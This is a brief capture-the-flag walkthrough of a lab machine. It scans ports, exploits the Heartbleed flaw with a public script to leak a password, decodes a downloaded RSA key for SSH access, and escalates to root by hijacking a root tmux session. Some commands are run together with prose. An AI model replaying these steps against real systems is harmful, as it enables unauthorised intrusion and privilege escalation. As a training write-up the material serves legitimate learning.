rustscan 10.10.10.79
After knowing, the 22,80,443 ports are open, let's do nmap scan.
nmap -A -sC -sV -p22,80,443 --script=vuln 10.10.10.79 -PnWe got soo big result. (CVE-2014-0160).
That's the vulnerability called 'Heartbleed'. Let's exploit it.
I find exploit code already.
Let's run it.
python2 32764.py 10.10.10.79 -p 443
Once, we decode this, we know the password.
password: heartbleedbelievethehype
Let's download hype_key file.
wget https://10.10.10.79/dev/hype_key --no-check-certificateNow, we decode this by using xxd.
cat hype_key | xxd -r -p
We grab RSA key from here.
Then add into id_rsa file and give '600' permissions for this and login.
user.txt
Once, we look at the history command result and paste into shell.
Hola , we are root user.
tmux -S /.devs/dev_sessroot.txt
